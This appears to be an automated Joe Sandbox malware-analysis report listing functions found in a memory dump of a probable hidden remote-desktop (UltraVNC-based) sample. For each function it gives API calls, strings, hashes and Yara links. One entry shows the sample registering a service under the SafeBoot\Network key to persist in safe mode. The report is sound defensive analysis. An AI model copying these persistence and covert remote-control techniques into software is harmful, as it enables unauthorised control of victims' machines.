Instruction Fuzzy Hash: C5412132619B45A2E748EB24F9503E9B3A8FB44B54F800136D7AD83794DF7CA4B5C712

Function 00007FF7E5076A20 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 78registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF7E5076A65
RegQueryValueExA.ADVAPI32 ref: 00007FF7E5076AA1
RegCloseKey.ADVAPI32 ref: 00007FF7E5076B6A

Strings

LANMANNT, xrefs: 00007FF7E5076AAF
LANSECNT, xrefs: 00007FF7E5076AC8, 00007FF7E5076B22
WinNT, xrefs: 00007FF7E5076B4A
SERVERNT, xrefs: 00007FF7E5076B01
System\CurrentControlSet\Control\ProductOptions, xrefs: 00007FF7E5076A49
ProductType, xrefs: 00007FF7E5076A7D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: LANMANNT$LANSECNT$ProductType$SERVERNT$System\CurrentControlSet\Control\ProductOptions$WinNT
API String ID: 3677997916-356703426
Opcode ID: 88216def6c21df696fe551fc804dfdd3315c8a7ded965229e51908db5a4eccae
Instruction ID: 6aaf2c8f6f34ef66aef31583951b4eb36e827eb03b82efdafbab9690856cc9ca
Opcode Fuzzy Hash: 88216def6c21df696fe551fc804dfdd3315c8a7ded965229e51908db5a4eccae
Instruction Fuzzy Hash: 14415131A1864B81EB20AB25F4603BAB3A0FB45B88FC01033EA4EC655DEF3CD555CB61

Function 00007FF7E50768F0 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 62registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF7E507692F
RegQueryValueExA.ADVAPI32 ref: 00007FF7E507696B
RegCloseKey.ADVAPI32 ref: 00007FF7E5076A00

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF7E5076913
Uniprocessor Checked, xrefs: 00007FF7E507699A
Multiprocessor Free, xrefs: 00007FF7E50769BB
Multiprocessor Checked, xrefs: 00007FF7E50769DC
CurrentType, xrefs: 00007FF7E5076947
Uniprocessor Free, xrefs: 00007FF7E5076979

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: CurrentType$Multiprocessor Checked$Multiprocessor Free$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Uniprocessor Checked$Uniprocessor Free
API String ID: 3677997916-1370392681
Opcode ID: 127efd2f4bb2d730ad2ffcadb57483ca5e65c2607e8512af785212c1471c3a0c
Instruction ID: 5a05037cd1d2859f57672c62f22b79ec1982cc117f54915ed71e2b5c7440a51d
Opcode Fuzzy Hash: 127efd2f4bb2d730ad2ffcadb57483ca5e65c2607e8512af785212c1471c3a0c
Instruction Fuzzy Hash: D1314071A1864B81FB10AB21F4647BAB364FB45B48FC01133EA8EC65ADEF3CD5058B51

Function 00007FF7E50A07C0 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 60windowCOMMON

Download Yara Rule

APIs

CreateDIBSection.GDI32 ref: 00007FF7E50A0812
CreateCompatibleBitmap.GDI32 ref: 00007FF7E50A0851
GetLastError.KERNEL32(?,?,?,?,00000000,00007FF7E509F2A3), ref: 00007FF7E50A085F
DeleteObject.GDI32 ref: 00007FF7E50A08AF

Strings

vncdesktop.cpp : attempting to enable DIBsection blits, xrefs: 00007FF7E50A07D7
vncdesktop.cpp : enabled slow blits OK, xrefs: 00007FF7E50A0882
vncdesktop.cpp : enabled fast DIBsection blits OK, xrefs: 00007FF7E50A0897
vncdesktop.cpp : failed to create memory bitmap(%d), xrefs: 00007FF7E50A0865
vncdesktop.cpp : failed to build DIB section - reverting to slow blits, xrefs: 00007FF7E50A082A

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Create$BitmapCompatibleDeleteErrorLastObjectSection
String ID: vncdesktop.cpp : attempting to enable DIBsection blits$vncdesktop.cpp : enabled fast DIBsection blits OK$vncdesktop.cpp : enabled slow blits OK$vncdesktop.cpp : failed to build DIB section - reverting to slow blits$vncdesktop.cpp : failed to create memory bitmap(%d)
API String ID: 554953491-3667255696
Opcode ID: 2412a222e5f925d2ec09e0f324b69aa0f7fbd9fb7eb1a0c9a7fdb40c2cf1af0a
Instruction ID: ff7600217329646bbfb0647047b7fd5e36acb99f42d7eeff091c45e8104a3e6e
Opcode Fuzzy Hash: 2412a222e5f925d2ec09e0f324b69aa0f7fbd9fb7eb1a0c9a7fdb40c2cf1af0a
Instruction Fuzzy Hash: 5C31E835608A8A95EB10EF65E4606E9B360FB44F44FC44437E94D87A59EF38E105C772

Function 00007FF7E5083110 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 00007FF7E5083155

Part of subcall function 00007FF7E512851C: _errno.LIBCMT ref: 00007FF7E5128553
Part of subcall function 00007FF7E512851C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E512855E

RegCreateKeyExA.ADVAPI32 ref: 00007FF7E5083199
RegSetValueExA.ADVAPI32 ref: 00007FF7E50831C7
RegCloseKey.ADVAPI32 ref: 00007FF7E50831D2

Strings

Network, xrefs: 00007FF7E5083130
uvnc_service, xrefs: 00007FF7E5083129
Service, xrefs: 00007FF7E50831A8
SYSTEM\CurrentControlSet\Control\SafeBoot\%s\%s, xrefs: 00007FF7E5083137
?, xrefs: 00007FF7E5083189

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseCreateValue_errno_invalid_parameter_noinfo_snprintf
String ID: ?$Network$SYSTEM\CurrentControlSet\Control\SafeBoot\%s\%s$Service$uvnc_service
API String ID: 913464532-2910635102
Opcode ID: 1bf795a48dcafc41ba0ceb8bae0d18797e802051582379eab5386516ec84cd5c
Instruction ID: bee799b71d4df8fb3bdfd4291681cc752a10811c1a1f1c47226f613fb29ec43c
Opcode Fuzzy Hash: 1bf795a48dcafc41ba0ceb8bae0d18797e802051582379eab5386516ec84cd5c
Instruction Fuzzy Hash: 29217175A08B8A82EB60EB10F46576AB360FB85B58F800136E68C83B6CDF7DD145CF11

Function 00007FF7E50A3170 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 48threadsynchronizationwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageA.USER32 ref: 00007FF7E50A31B6
WaitForSingleObject.KERNEL32 ref: 00007FF7E50A31C8
TerminateThread.KERNEL32 ref: 00007FF7E50A31F3
CloseHandle.KERNEL32 ref: 00007FF7E50A3200
CloseHandle.KERNEL32 ref: 00007FF7E50A3230

Strings

vncdesktopsink.cpp : initwindowthread already closed , xrefs: 00007FF7E50A3246
vncdesktopsink.cpp : ~vncDesktop::ERROR: messageloop blocked , xrefs: 00007FF7E50A31DE
vncdesktopsink.cpp : ~vncDesktop::Tell initwindowthread to close , xrefs: 00007FF7E50A319A
vncdesktopsink.cpp : ~vncDesktop:: iniwindowthread proper closed , xrefs: 00007FF7E50A321D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseHandleThread$MessageObjectPostSingleTerminateWait
String ID: vncdesktopsink.cpp : initwindowthread already closed $vncdesktopsink.cpp : ~vncDesktop:: iniwindowthread proper closed $vncdesktopsink.cpp : ~vncDesktop::ERROR: messageloop blocked $vncdesktopsink.cpp : ~vncDesktop::Tell initwindowthread to close
API String ID: 803186428-2751095142
Opcode ID: ff4a8dadbb3d1f80123651424f61364fee41c37e370f197b6d587ed49a2076d2
Instruction ID: f9c88cbdc0b76c9e1a5d43cfc1dbbbbb0004cdb9d59d657f7fac8e982631e9e4
Opcode Fuzzy Hash: ff4a8dadbb3d1f80123651424f61364fee41c37e370f197b6d587ed49a2076d2
Instruction Fuzzy Hash: 8B213B229145CA86F310AB35E4647F96369FB88F05FC81433D90E9A169DF3C9895C372

Function 00007FF7E51359D8 Relevance: 15.2, APIs: 10, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,00007FF7E5135D15), ref: 00007FF7E5135A72
malloc.LIBCMT ref: 00007FF7E5135ADB
MultiByteToWideChar.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,00007FF7E5135D15), ref: 00007FF7E5135B0F
LCMapStringW.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,00007FF7E5135D15), ref: 00007FF7E5135B36
LCMapStringW.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,00007FF7E5135D15), ref: 00007FF7E5135B7E
malloc.LIBCMT ref: 00007FF7E5135BDB

Part of subcall function 00007FF7E5128C34: _FF_MSGBANNER.LIBCMT ref: 00007FF7E5128C64
Part of subcall function 00007FF7E5128C34: HeapAlloc.KERNEL32(?,?,00000000,00007FF7E513329C,?,?,?,00007FF7E5137749,?,?,?,00007FF7E51377F3), ref: 00007FF7E5128C89
Part of subcall function 00007FF7E5128C34: _callnewh.LIBCMT ref: 00007FF7E5128CA2
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CAD
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CB8

LCMapStringW.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,00007FF7E5135D15), ref: 00007FF7E5135C10
WideCharToMultiByte.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,00007FF7E5135D15), ref: 00007FF7E5135C50
free.LIBCMT ref: 00007FF7E5135C64
free.LIBCMT ref: 00007FF7E5135C75

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$_errnofreemalloc$AllocHeap_callnewh
String ID:
API String ID: 1080698880-0
Opcode ID: b5a887be6137e653958006011188746c2f8056e99f6c4bc23332a32471009a2b
Instruction ID: 3ae88dde818af18b8499eb55dc31008a15cb3e5be271c3ac373eeb99504363de
Opcode Fuzzy Hash: b5a887be6137e653958006011188746c2f8056e99f6c4bc23332a32471009a2b
Instruction Fuzzy Hash: 9B81D732A0974A86EB20AF15A4A0369F7D5FF44FA4F964636DA1D837D8DF3CD5008721

Function 00007FF7E50969D5 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 224COMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32 ref: 00007FF7E509407F
CloseDesktop.USER32 ref: 00007FF7E50940C2
GetTickCount.KERNEL32 ref: 00007FF7E50941B3

Part of subcall function 00007FF7E509C4E0: timeGetTime.WINMM ref: 00007FF7E509C52A
Part of subcall function 00007FF7E509C4E0: EnterCriticalSection.KERNEL32 ref: 00007FF7E509C551
Part of subcall function 00007FF7E509C4E0: RevertToSelf.ADVAPI32 ref: 00007FF7E509C56C
Part of subcall function 00007FF7E509C4E0: LeaveCriticalSection.KERNEL32 ref: 00007FF7E509C57C

LeaveCriticalSection.KERNEL32 ref: 00007FF7E5097BAC

Strings

vncservice.cpp : SelectDesktop , xrefs: 00007FF7E509404B
vncservice.cpp : OpenInputdesktop2 OK, xrefs: 00007FF7E509409A
vncservice.cpp : OpenInputdesktop2 NULL, xrefs: 00007FF7E5094060
vncclient.cpp : vncClientThread , xrefs: 00007FF7E5094029

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$DesktopLeave$CloseCountEnterInputOpenRevertSelfTickTimetime
String ID: vncclient.cpp : vncClientThread $vncservice.cpp : OpenInputdesktop2 NULL$vncservice.cpp : OpenInputdesktop2 OK$vncservice.cpp : SelectDesktop
API String ID: 2523754900-3977938048
Opcode ID: b523ff4d27041372ecc1c885e73348ff295ebb74d119f44dda83730379da9b74
Instruction ID: 4b4802a507109d9f2910a1f8b05343532f61679d1138569ab4bb1592eafacc38
Opcode Fuzzy Hash: b523ff4d27041372ecc1c885e73348ff295ebb74d119f44dda83730379da9b74
Instruction Fuzzy Hash: BCB1C322A086C585E750AB39C4687FEA7A1FBC5F54F884136EA4C877A9CF38D445C722

Function 00007FF7E507B8C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 110networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32 ref: 00007FF7E507B931
inet_addr.WS2_32 ref: 00007FF7E507B9C2
gethostbyname.WS2_32 ref: 00007FF7E507B9CE
htons.WS2_32 ref: 00007FF7E507B9FE
socket.WS2_32 ref: 00007FF7E507BA13
connect.WS2_32 ref: 00007FF7E507BA2A

Strings

0123456789., xrefs: 00007FF7E507B901, 00007FF7E507B992

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: inet_addr$connectgethostbynamehtonssocket
String ID: 0123456789.
API String ID: 478842821-2088042752
Opcode ID: 263abe01daf5a009ada5feb1aef2725500a51be732e0e04e7777c9ecb3499f38
Instruction ID: 10b5a79f64210b98c82a5f014fad4fda7352455edfe3729664cbf6a381be1605
Opcode Fuzzy Hash: 263abe01daf5a009ada5feb1aef2725500a51be732e0e04e7777c9ecb3499f38
Instruction Fuzzy Hash: C941756560875985EA24BF25E420279A3A0FF88FD4F845232ED5D47798FF3CE541C721

Function 00007FF7E50A5AE0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

GetClassNameA.USER32 ref: 00007FF7E50A5B63
GetWindowRect.USER32 ref: 00007FF7E50A5BA3
CreateRectRgn.GDI32 ref: 00007FF7E50A5C46
CombineRgn.GDI32 ref: 00007FF7E50A5C5F
DeleteObject.GDI32 ref: 00007FF7E50A5C68
free.LIBCMT ref: 00007FF7E50A5C71

Strings

tty, xrefs: 00007FF7E50A5B72
ConsoleWindowClass, xrefs: 00007FF7E50A5B87

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Rect$ClassCombineCreateDeleteNameObjectWindowfree
String ID: ConsoleWindowClass$tty
API String ID: 490048385-1921057836
Opcode ID: 298372f63dd054519ce3cc4dd935d2ab84d827bdd727a36e9ad3e0d359236f91
Instruction ID: 26d97b9fd90718f4b06e007d9f50316a1b2812df6fc057f32ce1eac9f9be812b
Opcode Fuzzy Hash: 298372f63dd054519ce3cc4dd935d2ab84d827bdd727a36e9ad3e0d359236f91
Instruction Fuzzy Hash: 314152367086898AEB209B25E49076DB7A1FB89F84F844036EF4E83759DF3CE545CB11

Function 00007FF7E5098ED0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF7E5098F3A
PtInRect.USER32 ref: 00007FF7E5098F4A
EnterCriticalSection.KERNEL32 ref: 00007FF7E5098F79
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5098F8C
GetCursorPos.USER32 ref: 00007FF7E5098FB1
EnterCriticalSection.KERNEL32 ref: 00007FF7E5099006
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5099037

Strings

^, xrefs: 00007FF7E5098FFB

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$CursorEnterLeave$Rect
String ID: ^
API String ID: 2550375211-1590793086
Opcode ID: d878f0e7e6db227b12d9c6317699a075fbf28d892376275b9f235674c6b9a16b
Instruction ID: a2f0c793474108e0a7089ad6f89d7a5983814fa23a9c2044f5c6ba2f62619867
Opcode Fuzzy Hash: d878f0e7e6db227b12d9c6317699a075fbf28d892376275b9f235674c6b9a16b
Instruction Fuzzy Hash: 25412A366086458BDB28DF29E5A436DB7A0F788B94F505136EB5E43B58CF38E464CF01

Function 00007FF7E507A6B0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 82COMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32 ref: 00007FF7E507A716
GetLastError.KERNEL32 ref: 00007FF7E507A720
SystemParametersInfoA.USER32 ref: 00007FF7E507A794
GetLastError.KERNEL32 ref: 00007FF7E507A79E

Strings

HideDesktop.cpp : Set SPI value for 0x%04x to 0x%08x, xrefs: 00007FF7E507A7E7
HideDesktop.cpp : Failed to get SPI value for 0x%04x (0x%08x), xrefs: 00007FF7E507A726
HideDesktop.cpp : Retrieved SPI value for 0x%04x: 0x%08x, xrefs: 00007FF7E507A738
HideDesktop.cpp : Failed to set SPI value for 0x%04x to 0x%08x (0x%08x), xrefs: 00007FF7E507A7AC

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
